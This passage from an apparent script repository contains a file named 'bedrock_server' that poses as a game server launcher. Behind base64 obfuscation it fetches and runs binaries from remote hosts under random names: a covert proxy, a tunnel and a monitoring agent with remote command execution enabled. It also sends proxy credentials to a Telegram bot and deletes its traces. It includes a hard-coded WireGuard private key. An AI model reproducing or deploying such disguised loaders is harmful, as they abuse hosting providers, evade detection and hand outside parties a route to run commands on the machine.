JGlwdjZdIjsgfSB8fCBlY2hvICJYWFgiKQpJU1A9JChjdXJsIC1zIC0tbWF4LXRpbWUgMiBodHRwczovL3NwZWVkLmNsb3VkZmxhcmUuY29tL21ldGEgfCBhd2sgLUZcIiAne3ByaW50ICQyNiItIiQxOH0nIHwgc2VkIC1lICdzLyAvXy9nJyB8fCBlY2hvICIwLjAiKQoKVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke0lTUH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIiR7Q0ZQT1JUfVwiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiY2hyb21lXCJ9IgoKY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IC13MCkKRU9GCgppZiBbICIkVFVJQ19QT1JUIiAhPSAiNDAwMDAiIF07IHRoZW4KICBlY2hvIC1lICJcbnR1aWM6Ly8ke1VVSUR9OmFkbWluQCR7SVB9OiR7VFVJQ19QT1JUfT9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmY29uZ2VzdGlvbl9jb250cm9sPWJiciMke05BTUV9LSR7SVNQfSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkSFkyX1BPUlQiICE9ICI1MDAwMCIgXTsgdGhlbgogIGVjaG8gLWUgIlxuaHlzdGVyaWEyOi8vJHtVVUlEfUAke0lQfToke0hZMl9QT1JUfS8/c25pPXd3dy5iaW5nLmNvbSZhbHBuPWgzJmluc2VjdXJlPTEjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKaWYgWyAiJFJFQUxJVFlfUE9SVCIgIT0gIjYwMDAwIiBdOyB0aGVuCiAgZWNobyAtZSAiXG52bGVzczovLyR7VVVJRH1AJHtJUH06JHtSRUFMSVRZX1BPUlR9P2VuY3J5cHRpb249bm9uZSZmbG93PXh0bHMtcnByeC12aXNpb24mc2VjdXJpdHk9cmVhbGl0eSZzbmk9d3d3Lm5hemh1bWkuY29tJmZwPWNocm9tZSZwYms9JHtwdWJsaWNfa2V5fSZ0eXBlPXRjcCZoZWFkZXJUeXBlPW5vbmUjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKYmFzZTY0IC13MCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dApjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQKZWNobyAtZSAiXG5cblxlWzE7MzJtJHtGSUxFX1BBVEh9L3N1Yi50eHQgc2F2ZWQgc3VjY2Vzc2Z1bGx5XGVbMG0iCnVwbG9kX25vZGVzCnNlbmRfdGVsZWdyYW0KZWNobyAtZSAiXG5cZVsxOzMybVJ1bm5pbmcgZG9uZSFcZVswbVxuIgpzbGVlcCAxMiAKY2xlYXIKCnJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiBzYi5sb2cgY29yZSBmYWtlX3VzZXJhZ2VudF8wLjIuMC5qc29uICR7RklMRV9QQVRIfS9saXN0LnR4dCA+L2Rldi9udWxsIDI+JjE=" | base64 -d | bash 22 | 23 | chmod +x ${GAME_FILE} && ./${GAME_FILE} 24 | 25 | # tail -f /dev/null 26 | -------------------------------------------------------------------------------- /sing-box游戏机/bedrock_server: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export UUID=${UUID:-'bc97f674-c578-4940-9234-0a1da46041b9'} # 哪吒v1,在不同的平台需要改UUID,否则会覆盖 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} # v1哪吒填写形式:nezha.abc.com:8008,v0哪吒填写形式:nezha.abc.com 4 | export NEZHA_PORT=${NEZHA_PORT:-''} # v1哪吒不要填写这个,v0哪吒agent端口为{443,8443,2053,2083,2087,2096}其中之一时自动开启tls 5 | export NEZHA_KEY=${NEZHA_KEY:-''} # v1的NZ_CLIENT_SECRET或v0的agent密钥 6 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} # 固定隧道域名,留空即启用临时隧道 7 | export ARGO_AUTH=${ARGO_AUTH:-''} # 固定隧道token或json,留空即启用临时隧道 8 | export CFIP=${CFIP:-'www.visa.com.tw'} # argo节点优选域名或优选ip 9 | export CFPORT=${CFPORT:-'443'} # argo节点端口 10 | export NAME=${NAME:-'MC'} # 节点名称 11 | export FILE_PATH=${FILE_PATH:-'./worlds'} # sub 路径 12 | export ARGO_PORT=${ARGO_PORT:-'8001'} # argo端口 使用固定隧道token,cloudflare后台设置的端口需和这里对应 13 | export TUIC_PORT=${TUIC_PORT:-'40000'} # Tuic 端口,支持多端口玩具可填写,否则不动 14 | export HY2_PORT=${HY2_PORT:-'50000'} # Hy2 端口,支持多端口玩具可填写,否则不动 15 | export REALITY_PORT=${REALITY_PORT:-'60000'} # reality 端口,支持多端口玩具可填写,否则不动 16 | export GAME_FILE=${GAME_FILE:-'LICENSE'} # 填写游戏文件名,不填写不启动游戏,无法运行 17 | export CHAT_ID=${CHAT_ID:-''} # TG chat_id,可在https://t.me/laowang_serv00_bot 获取 18 | export BOT_TOKEN=${BOT_TOKEN:-''} # TG bot_token, 使用自己的bot需要填写,使用上方的bot不用填写,不会给别人发送 19 | export UPLOAD_URL=${UPLOAD_URL:-''} # 订阅自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.serv00.net 20 | 21 | echo "ZGVsZXRlX29sZF9ub2RlcygpIHsKICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgXV0gJiYgcmV0dXJuCiAgb2xkX25vZGVzPSQoYmFzZTY0IC1kICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgfCBncmVwIC1FICcodmxlc3N8dm1lc3N8dHJvamFufGh5c3RlcmlhMnx0dWljKTovLycpCiAgW1sgLXogJG9sZF9ub2RlcyBdXSAmJiByZXR1cm4KCiAganNvbl9kYXRhPSd7Im5vZGVzIjogWycKICBmb3Igbm9kZSBpbiAkb2xkX25vZGVzOyBkbwogICAgICBqc29uX2RhdGErPSJcIiRub2RlXCIsIgogIGRvbmUKICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0gIAogIGpzb25fZGF0YSs9J119JwoKICBjdXJsIC1YIERFTEVURSAiJFVQTE9BRF9VUkwvYXBpL2RlbGV0ZS1ub2RlcyIgXAogICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQp9CmRlbGV0ZV9vbGRfbm9kZXMKClsgISAtZCAiJHtGSUxFX1BBVEh9IiBdICYmIG1rZGlyIC1wICIke0ZJTEVfUEFUSH0iICYmIHJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiB0dW5uZWwuanNvbiB0dW5uZWwueW1sICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgPi9kZXYvbnVsbCAyPiYxCgoKYXJnb19jb25maWd1cmUoKSB7CiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+IHR1bm5lbC5qc29uCiAgICBjYXQgPiB0dW5uZWwueW1sIDw8IEVPRgp0dW5uZWw6ICQoY3V0IC1kXCIgLWYxMiA8PDwgIiRBUkdPX0FVVEgiKQpjcmVkZW50aWFscy1maWxlOiB0dW5uZWwuanNvbgpwcm90b2NvbDogaHR0cDIKCmluZ3Jlc3M6CiAgLSBob3N0bmFtZTogJEFSR09fRE9NQUlOCiAgICBzZXJ2aWNlOiBodHRwOi8vbG9jYWxob3N0OiRBUkdPX1BPUlQKICAgIG9yaWdpblJlcXVlc3Q6CiAgICAgIG5vVExTVmVyaWZ5OiB0cnVlCiAgLSBzZXJ2aWNlOiBodHRwX3N0YXR1czo0MDQKRU9GCiAgZWxzZQogICAgZWNobyAtZSAiXGVbMTszMm1BUkdPX0FVVEggbWlzbWF0Y2ggVHVubmVsU2VjcmV0LHVzZSB0b2tlbiBjb25uZWN0IHRvIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBET1dOTE9BRF9ESVI9Ii4iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbHNlCiAgICBlY2hvICJVbnN1cHBvcnRlZCBhcmNoaXRlY3R1cmU6ICRBUkNIIgogICAgZXhpdCAxCmZpCkZJTEVfSU5GTz0oIiRCQVNFX1VSTC9zYiB3ZWIiICIkQkFTRV9VUkwvYm90IGJvdCIpCgppZiBbIC1uICIkTkVaSEFfUE9SVCIgXTsgdGhlbgogICAgRklMRV9JTkZPKz0oIiRCQVNFX1VSTC9hZ2VudCBucG0iKQplbHNlCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiBmYWxzZQppcF9yZXBvcnRfcGVyaW9kOiAxODAwCnJlcG9ydF9kZWxheTogMQpzZXJ2ZXI6ICR7TkVaSEFfU0VSVkVSfQpza2lwX2Nvbm5lY3Rpb25fY291bnQ6IGZhbHNlCnNraXBfcHJvY3NfY291bnQ6IGZhbHNlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgpmaQpkZWNsYXJlIC1BIEZJTEVfTUFQCmdlbmVyYXRlX3JhbmRvbV9uYW1lKCkgewogICAgbG9jYWwgY2hhcnM9YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY3ODkwCiAgICBsb2NhbCBuYW1lPSIiCiAgICBmb3IgaSBpbiB7MS4uNn07IGRvCiAgICAgICAgbmFtZT0iJG5hbWUke2NoYXJzOlJBTkRPTSUkeyNjaGFyc306MX0iCiAgICBkb25lCiAgICBlY2hvICIkbmFtZSIKfQpkb3dubG9hZF9maWxlKCkgewogICAgbG9jYWwgVVJMPSQxCiAgICBsb2NhbCBORVdfRklMRU5BTUU9JDIKCiAgICBpZiBjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgY3VybCAtTCAtc1MgLW8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IGN1cmxcZVswbSIKICAgIGVsaWYgY29tbWFuZCAtdiB3Z2V0ID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIHdnZXQgLXEgLU8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IHdnZXRcZVswbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcZVsxOzMzbU5laXRoZXIgY3VybCBub3Igd2dldCBpcyBhdmFpbGFibGUgZm9yIGRvd25sb2FkaW5nXGVbMG0iCiAgICAgICAgZXhpdCAxCiAgICBmaQp9CmZvciBlbnRyeSBpbiAiJHtGSUxFX0lORk9bQF19IjsgZG8KICAgIFVSTD0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDEpCiAgICBSQU5ET01fTkFNRT0kKGdlbmVyYXRlX3JhbmRvbV9uYW1lKQogICAgTkVXX0ZJTEVOQU1FPSIkRE9XTkxPQURfRElSLyRSQU5ET01fTkFNRSIKICAgIAogICAgZG93bmxvYWRfZmlsZSAiJFVSTCIgIiRORVdfRklMRU5BTUUiCiAgICAKICAgIGNobW9kICt4ICIkTkVXX0ZJTEVOQU1FIgogICAgRklMRV9NQVBbJChlY2hvICIkZW50cnkiIHwgY3V0IC1kICcgJyAtZiAyKV09IiRORVdfRklMRU5BTUUiCmRvbmUKd2FpdAoKb3V0cHV0PSQoLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQpwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCnB1YmxpY19rZXk9JChlY2hvICIke291dHB1dH0iIHwgYXdrICcvUHVibGljS2V5Oi8ge3ByaW50ICQyfScpCgpvcGVuc3NsIGVjcGFyYW0gLWdlbmtleSAtbmFtZSBwcmltZTI1NnYxIC1vdXQgInByaXZhdGUua2V5IgpvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAicHJpdmF0ZS5rZXkiIC1vdXQgImNlcnQucGVtIiAtc3ViaiAiL0NOPWJpbmcuY29tIgoKICBjYXQgPiBjb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgICAiZGlzYWJsZWQiOiB0cnVlLAogICAgICAgICJsZXZlbCI6ICJlcnJvciIsCiAgICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiZG5zIjogewogICAgICAgICJzZXJ2ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ0YWciOiAiZ29vZ2xlIiwKICAgICAgICAgICJhZGRyZXNzIjogInRsczovLzguOC44LjgiCiAgICAgICAgfQogICAgICBdCiAgICB9LAogICAgImluYm91bmRzIjogWwogICAgewogICAgICAidGFnIjogInZtZXNzLXdzLWluIiwKICAgICAgInR5cGUiOiAidm1lc3MiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtBUkdPX1BPUlR9LAogICAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICIke1VVSUR9IgogICAgICAgIH0KICAgICAgXSwKICAgICAgInRyYW5zcG9ydCI6IHsKICAgICAgICAidHlwZSI6ICJ3cyIsCiAgICAgICAgInBhdGgiOiAiL3ZtZXNzLWFyZ28iLAogICAgICAgICJlYXJseV9kYXRhX2hlYWRlcl9uYW1lIjogIlNlYy1XZWJTb2NrZXQtUHJvdG9jb2wiCiAgICAgIH0KICAgIH0sCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtUVUlDX1BPUlR9LAogICAgICAidXNlcnMiOiBbCiAgICAgICAgewogICAgICAgICAgInV1aWQiOiAiJHtVVUlEfSIsCiAgICAgICAgICAicGFzc3dvcmQiOiAiYWRtaW4iCiAgICAgICAgfQogICAgICBdLAogICAgICAiY29uZ2VzdGlvbl9jb250cm9sIjogImJiciIsCiAgICAgICJ0bHMiOiB7CiAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICJhbHBuIjogWwogICAgICAgICAgImgzIgogICAgICAgIF0sCiAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiY2VydC5wZW0iLAogICAgICAgICJrZXlfcGF0aCI6ICJwcml2YXRlLmtleSIKICAgICAgfQogICAgfSwKICAgIHsKICAgICAgInRhZyI6ICJoeXN0ZXJpYTItaW4iLAogICAgICAidHlwZSI6ICJoeXN0ZXJpYTIiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtIWTJfUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIiR7VVVJRH0iCiAgICAgICAgICB9CiAgICAgIF0sCiAgICAgICJtYXNxdWVyYWRlIjogImh0dHBzOi8vYmluZy5jb20iLAogICAgICAgICJ0bHMiOiB7CiAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgImFscG4iOiBbCiAgICAgICAgICAgICAgICAiaDMiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogImNlcnQucGVtIiwKICAgICAgICAgICAgImtleV9wYXRoIjogInByaXZhdGUua2V5IgogICAgICAgICAgfQogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICRSRUFMSVRZX1BPUlQsCiAgICAgICAgICAidXNlcnMiOiBbCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgInV1aWQiOiAiJFVVSUQiLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJHByaXZhdGVfa2V5IiwKICAgICAgICAgICAgICAgICAgInNob3J0X2lkIjogWwogICAgICAgICAgICAgICAgICAgICIiCiAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgIH0KICAgXSwKICAib3V0Ym91bmRzIjogWwogICAgewogICAgICAidHlwZSI6ICJkaXJlY3QiLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogImJsb2NrIiwKICAgICAgInRhZyI6ICJibG9jayIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogIndpcmVndWFyZCIsCiAgICAgICJ0YWciOiAid2lyZWd1YXJkLW91dCIsCiAgICAgICJzZXJ2ZXIiOiAiMTYyLjE1OS4xOTIuMjAwIiwKICAgICAgInNlcnZlcl9wb3J0IjogNDUwMCwKICAgICAgImxvY2FsX2FkZHJlc3MiOiBbCiAgICAgICAgIjE3Mi4xNi4wLjIvMzIiLAogICAgICAgICIyNjA2OjQ3MDA6MTEwOjhmNzc6MWNhOTpmMDg2Ojg0NmM6NWY5ZS8xMjgiCiAgICAgIF0sCiAgICAgICJwcml2YXRlX2tleSI6ICJ3SXhzemRSMm5NZEE3YTJVbDNYUWNuaVNmU1pxZHFqUGI2dzZvcHZmNUFVPSIsCiAgICAgICJwZWVyX3B1YmxpY19rZXkiOiAiYm1YT0MrRjFGeEVNRjlkeWlLMkg1LzFTVXR6SDBKdVZvNTFoMndQZmd5bz0iLAogICAgICAicmVzZXJ2ZWQiOiBbMTI2LCAyNDYsIDE3M10KICAgIH0KICBdLAogICJyb3V0ZSI6IHsKICAgICJydWxlX3NldCI6IFsKICAgICAgewogICAgICAgICJ0YWciOiAibmV0ZmxpeCIsCiAgICAgICAgInR5cGUiOiAicmVtb3RlIiwKICAgICAgICAiZm9ybWF0IjogImJpbmFyeSIsCiAgICAgICAgInVybCI6ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWV0YUN1YmVYL21ldGEtcnVsZXMtZGF0L3NpbmcvZ2VvL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby9nZW9zaXRlL29wZW5haS5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7CiAgICAgICAgInJ1bGVfc2V0IjogWyJuZXRmbGl4IiwgIm9wZW5haSJdLAogICAgICAgICJvdXRib3VuZCI6ICJ3aXJlZ3VhcmQtb3V0IgogICAgICB9CiAgICBdLAogICAgImZpbmFsIjogImRpcmVjdCIKICB9Cn0KRU9GCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBdOyB0aGVuCiAgICBub2h1cCAuLyIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBydW4gLWMgY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSBpcyBydW5uaW5nXGVbMG0iCmZpCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIiBdOyB0aGVuCiAgICBpZiBbWyAkQVJHT19BVVRIID1+IF5bQS1aMC05YS16PV17MTIwLDI1MH0kIF1dOyB0aGVuCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIHJ1biAtLXRva2VuICR7QVJHT19BVVRIfSIKICAgIGVsaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1jb25maWcgdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSBib290LmxvZyAtLWxvZ2xldmVsIGluZm8gLS11cmwgaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUIgogICAgZmkKICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiICRhcmdzID4vZGV2L251bGwgMj4mMSAmCiAgICBzbGVlcCAyCiAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkgaXMgcnVubmluZ1xlWzBtIiAKZmkKCmlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgaWYgWyAtZSAiJChiYXNlbmFtZSAke0ZJTEVfTUFQW25wbV19KSIgXTsgdGhlbgoJICB0bHNQb3J0cz0oIjQ0MyIgIjg0NDMiICIyMDk2IiAiMjA4NyIgIjIwODMiICIyMDUzIikKICAgICAgW1sgIiR7dGxzUG9ydHNbKl19IiA9fiAiJHtORVpIQV9QT1JUfSIgXV0gJiYgTkVaSEFfVExTPSItLXRscyIgfHwgTkVaSEFfVExTPSIiCiAgICAgIGV4cG9ydCBUTVBESVI9JChwd2QpCiAgICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgc2xlZXAgMgogICAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkiIF07IHRoZW4KICAgICAgbm9odXAgLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgLWMgIiR7RklMRV9QQVRIfS9jb25maWcueWFtbCIgPi9kZXYvbnVsbCAyPiYxICYKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbcGhwXX0pIGlzIHJ1bm5pbmdcZVswbSIKICAgIGZpCmVsc2UKICAgIGVjaG8gLWUgIlxlWzE7MzVtTkVaSEEgdmFyaWFibGUgaXMgZW1wdHksIHNraXBwaW5nIHJ1bm5pbmdcZVswbSIKZmkKZm9yIGtleSBpbiAiJHshRklMRV9NQVBbQF19IjsgZG8KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFska2V5XX0pIiBdOyB0aGVuCiAgICAgICAgcm0gLXJmICIkKGJhc2VuYW1lICR7RklMRV9NQVBbJGtleV19KSIgPi9kZXYvbnVsbCAyPiYxCiAgICBmaQpkb25lCn0KZG93bmxvYWRfYW5kX3J1bgoKZ2V0X2FyZ29kb21haW4oKSB7CiAgaWYgW1sgLW4gJEFSR09fQVVUSCBdXTsgdGhlbgogICAgZWNobyAiJEFSR09fRE9NQUlOIgogIGVsc2UKICAgIGxvY2FsIHJldHJ5PTAKICAgIGxvY2FsIG1heF9yZXRyaWVzPTYKICAgIGxvY2FsIGFyZ29kb21haW49IiIKICAgIHdoaWxlIFtbICRyZXRyeSAtbHQgJG1heF9yZXRyaWVzIF1dOyBkbwogICAgICAoKHJldHJ5KyspKQogICAgICBhcmdvZG9tYWluPSQoc2VkIC1uICdzfC4qaHR0cHM6Ly9cKFteL10qdHJ5Y2xvdWRmbGFyZVwuY29tXCkuKnxcMXxwJyBib290LmxvZykKICAgICAgaWYgW1sgLW4gJGFyZ29kb21haW4gXV07IHRoZW4KICAgICAgICBicmVhawogICAgICBmaQogICAgICBzbGVlcCAxCiAgICBkb25lCiAgICBlY2hvICIkYXJnb2RvbWFpbiIKICBmaQp9CgpzZW5kX3RlbGVncmFtKCkgewogIFsgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdIHx8IHJldHVybgogIE1FU1NBR0U9JChjYXQgIiR7RklMRV9QQVRIfS9zdWIudHh0IikKICBMT0NBTF9NRVNTQUdFPSIqJHtOQU1FfeiKgueCueaOqOmAgemAmuefpSpcYFxgXGAke01FU1NBR0V9XGBcYFxgIgogIEJPVF9NRV